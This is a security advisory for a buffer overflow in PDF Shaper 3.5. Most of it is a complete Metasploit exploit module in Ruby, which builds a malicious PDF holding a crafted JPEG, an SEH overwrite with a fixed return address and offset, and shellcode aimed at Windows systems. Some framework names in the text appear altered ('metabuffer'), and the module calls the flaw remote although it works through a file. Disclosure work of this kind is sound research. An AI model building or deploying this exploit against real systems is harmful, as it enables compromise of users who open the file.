PDF Shaper 3.5 Remote Buffer Overflow

`Document Title:  
===============  
PDF Shaper v3.5 - (MSF) Remote Buffer Overflow Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1579  
  
Video: https://youtu.be/-HTEIisSiH8  
  
  
Release Date:  
=============  
2015-08-16  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1579  
  
  
Common Vulnerability Scoring System:  
====================================  
7.9  
  
  
Product & Service Introduction:  
===============================  
PDF Shaper is a collection of free PDF tools, which allows you to merge, split, encrypt and decrypt PDFs, convert images to PDF, convert PDF to   
Word RTF or images, extract text and images from PDF. Program has easy-to-use user interface, supports Unicode characters and batch processing.   
  
(Copy of the Vendor Homepage: http://www.glorylogic.com/pdf-shaper.html )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered a remote buffer overflow vulnerability in the official PDF Shaper v3.5 software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-08-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Glorylogic  
Product: PDF Shaper - Software 3.5  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A remote buffer overflow vulnerability has been discovered in the official PDF Shaper v3.5 software client.  
The buffer overflow vulnerability can be exploited by local attackers to compromise a target system or to   
gain higher access privileges for further exploitation.  
  
The metasploit exploitcode requires the usage of the metabuffer module. The vulnerability is a unicode buffer   
overflow in the host software. The exploit is remotly exploitable and the issue is located on the server-side.  
  
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability   
scoring system) count of 7.9. Exploitation of the vulnerability requires a low privilege system user account   
and no user interaction. Successful exploitation of the vulnerability results in system compromise by elevation   
of privileges via overwrite of the registers.  
  
  
Proof of Concept (PoC):  
=======================  
The remote buffer overflow vulnerability can be exploited by remote attackers without user interaction or low privilege system user account.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Exploit: MSF Console  
  
class Metasploit3 < Msf::Exploit::Remote  
#Rank definition: http://dev.metabuffer.com/redmine/projects/framework/wiki/Exploit_Ranking  
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::PDF  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PDF Shaper Buffer Overflow',  
'Description' => %q{  
PDF Shaper is prone to a security vulnerability when processing PDF files.   
The vulnerability appear when we use Convert PDF to Image and use a specially crafted PDF file.  
This module has been tested successfully on Win Xp, Win 7, Win 8, Win 10.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metacom<metacom27[at]gmail.com>', # Original discovery  
'metacom', # MSF Module  
],  
'References' =>  
[  
[ 'OSVDB', '<insert OSVDB number here>' ],  
[ 'CVE', 'insert CVE number here' ],  
[ 'URL', '<insert another link to the exploit/advisory here>' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process', #none/process/thread/seh  
#'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Payload' =>   
{  
'Space' => 2000,  
'DisableNops' => true,  
},  
  
'Targets' =>  
[  
[ '<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5>',  
{  
'Ret' => 0x00713726, # pop ebx # pop ebp # ret - PDFTools.exe  
'Offset' => 433  
}  
],  
],  
'Privileged' => false,  
#Correct Date Format: "M D Y"  
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec  
'DisclosureDate' => 'Aug 10 2015',  
'DefaultTarget' => 0))  
  
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),], self.class)  
  
end  
  
def exploit  
file_create(make_pdf)  
end   
  
def jpeg  
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"  
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"  
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"  
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"  
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"  
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"  
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"  
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"  
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"  
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"  
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"  
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"  
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"  
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"  
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"  
buffer << rand_text(target['Offset']) #junk  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded  
buffer << rand_text(2388 - payload.encoded.length)   
return buffer  
  
end  
  
  
def nObfu(str)  
return str  
end  
  
def make_pdf  
# pdf template taken from PDF Shaper exploit module  
@pdf << header  
add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))  
add_object(2, nObfu("<</Type/Outlines>>"))  
add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))  
add_object(4, nObfu("[/PDF/Text/ImageC]"))  
add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))  
stream_1 = "stream" << eol  
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol  
stream_1 << "endstream" << eol  
add_object(6, nObfu("<</Length 91>>#{stream_1}"))  
stream = "<<" << eol  
stream << "/Width 230" << eol  
stream << "/BitsPerComponent 8" << eol  
stream << "/Name /X" << eol  
stream << "/Height 50" << eol  
stream << "/Intent /RelativeColorimetric" << eol  
stream << "/Subtype /Image" << eol  
stream << "/Filter /DCTDecode" << eol  
stream << "/Length #{jpeg.length}" << eol  
stream << "/ColorSpace /DeviceCMYK" << eol  
stream << "/Type /XObject" << eol  
stream << ">>"  
stream << "stream" << eol  
stream << jpeg << eol  
stream << "endstream" << eol  
add_object(7, stream)  
finish_pdf  
end   
  
end  
  
  
  
Reference(s):  
Metabuffer: http://metabuffer.com/download  
Current Source: https://github.com/rapid7/metabuffer-framework  
  
  
Security Risk:  
==============  
The security risk of the remote buffer overflow vulnerability in the pdf shaper software is estimated as high. (CVSS 7.9)  
  
  
Credits & Authors:  
==================  
metacom - [http://www.vulnerability-lab.com/show.php?user=metacom]  
  
  
Disclaimer & Information:  
=========================  
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